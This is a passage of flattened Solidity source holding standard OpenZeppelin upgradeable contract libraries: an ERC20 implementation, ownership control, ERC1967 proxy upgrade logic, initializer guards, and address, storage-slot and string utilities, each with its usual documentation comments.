{IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, _allowances[owner][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = _allowances[owner][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Spend `amount` form the allowance of `owner` toward `spender`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[45] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal onlyInitializing { __Ownable_init_unchained(); } function __Ownable_init_unchained() internal onlyInitializing { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (interfaces/draft-IERC1822.sol) pragma solidity ^0.8.0; /** * @dev ERC1822: Universal Upgradeable Proxy Standard (UUPS) documents a method for upgradeability through a simplified * proxy whose upgrades are fully controlled by the current implementation. */ interface IERC1822ProxiableUpgradeable { /** * @dev Returns the storage slot that the proxiable contract assumes is being used to store the implementation * address. * * IMPORTANT: A proxy pointing at a proxiable contract should not be considered proxiable itself, because this risks * bricking a proxy that upgrades to it, by delegating to itself until out of gas. Thus it is critical that this * function revert if invoked through a proxy. */ function proxiableUUID() external view returns (bytes32); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/ERC1967/ERC1967Upgrade.sol) pragma solidity ^0.8.2; import "../beacon/IBeaconUpgradeable.sol"; import "../../interfaces/draft-IERC1822Upgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../utils/StorageSlotUpgradeable.sol"; import "../utils/Initializable.sol"; /** * @dev This abstract contract provides getters and event emitting update functions for * https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots. * * _Available since v4.1._ * * @custom:oz-upgrades-unsafe-allow delegatecall */ abstract contract ERC1967UpgradeUpgradeable is Initializable { function __ERC1967Upgrade_init() internal onlyInitializing { } function __ERC1967Upgrade_init_unchained() internal onlyInitializing { } // This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1 bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143; /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Emitted when the implementation is upgraded. */ event Upgraded(address indexed implementation); /** * @dev Returns the current implementation address. */ function _getImplementation() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value; } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address newImplementation) private { require(AddressUpgradeable.isContract(newImplementation), "ERC1967: new implementation is not a contract"); StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; } /** * @dev Perform implementation upgrade * * Emits an {Upgraded} event. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Perform implementation upgrade with additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCall( address newImplementation, bytes memory data, bool forceCall ) internal { _upgradeTo(newImplementation); if (data.length > 0 || forceCall) { _functionDelegateCall(newImplementation, data); } } /** * @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCallUUPS( address newImplementation, bytes memory data, bool forceCall ) internal { // Upgrades from old implementations will perform a rollback test. This test requires the new // implementation to upgrade back to the old, non-ERC1822 compliant, implementation. Removing // this special case will break upgrade paths from old UUPS implementation to new ones. if (StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT).value) { _setImplementation(newImplementation); } else { try IERC1822ProxiableUpgradeable(newImplementation).proxiableUUID() returns (bytes32 slot) { require(slot == _IMPLEMENTATION_SLOT, "ERC1967Upgrade: unsupported proxiableUUID"); } catch { revert("ERC1967Upgrade: new implementation is not UUPS"); } _upgradeToAndCall(newImplementation, data, forceCall); } } /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Emitted when the admin account has changed. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Returns the current admin. */ function _getAdmin() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value; } /** * @dev Stores a new address in the EIP1967 admin slot. */ function _setAdmin(address newAdmin) private { require(newAdmin != address(0), "ERC1967: new admin is the zero address"); StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin; } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. */ function _changeAdmin(address newAdmin) internal { emit AdminChanged(_getAdmin(), newAdmin); _setAdmin(newAdmin); } /** * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy. * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor. */ bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; /** * @dev Emitted when the beacon is upgraded. */ event BeaconUpgraded(address indexed beacon); /** * @dev Returns the current beacon. */ function _getBeacon() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value; } /** * @dev Stores a new beacon in the EIP1967 beacon slot. */ function _setBeacon(address newBeacon) private { require(AddressUpgradeable.isContract(newBeacon), "ERC1967: new beacon is not a contract"); require( AddressUpgradeable.isContract(IBeaconUpgradeable(newBeacon).implementation()), "ERC1967: beacon implementation is not a contract" ); StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon; } /** * @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does * not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that). * * Emits a {BeaconUpgraded} event. */ function _upgradeBeaconToAndCall( address newBeacon, bytes memory data, bool forceCall ) internal { _setBeacon(newBeacon); emit BeaconUpgraded(newBeacon); if (data.length > 0 || forceCall) { _functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(), data); } } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) { require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return AddressUpgradeable.verifyCallResult(success, returndata, "Address: low-level delegate call failed"); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol) pragma solidity ^0.8.0; /** * @dev This is the interface that {BeaconProxy} expects of its beacon. */ interface IBeaconUpgradeable { /** * @dev Must return an address that can be used as a delegate call target. * * {BeaconProxy} will check that this address is a contract. */ function implementation() external view returns (address); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlotUpgradeable { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "../IERC20Upgradeable.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20MetadataUpgradeable is IERC20Upgradeable { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Base64.sol) pragma solidity ^0.8.0; /** * @dev Provides a set of functions to operate with Base64 strings. * * _Available since v4.5._ */ library Base64 { /** * @dev Base64 Encoding/Decoding Table */ string internal constant _TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; /** * @dev Converts a `bytes` to its Bytes64 `string` representation. */ function encode(bytes memory data) internal pure returns (string memory) { /** * Inspired by Brecht Devos (Brechtpd) implementation - MIT licence * https://github.com/Brechtpd/base64/blob/e78d9fd951e7b0977ddca77d92dc85183770daf4/base64.sol */ if (data.length == 0) return ""; // Loads the table into memory string memory table = _TABLE; // Encoding takes 3 bytes chunks of binary data from `bytes` data parameter // and split into 4 numbers of 6 bits. // The final Base64 length should be `bytes` data length multiplied by 4/3 rounded up // - `data.length + 2` -> Round up // - `/ 3` -> Number of 3-bytes chunks // - `4 *` -> 4 characters for each chunk string memory result = new string(4 * 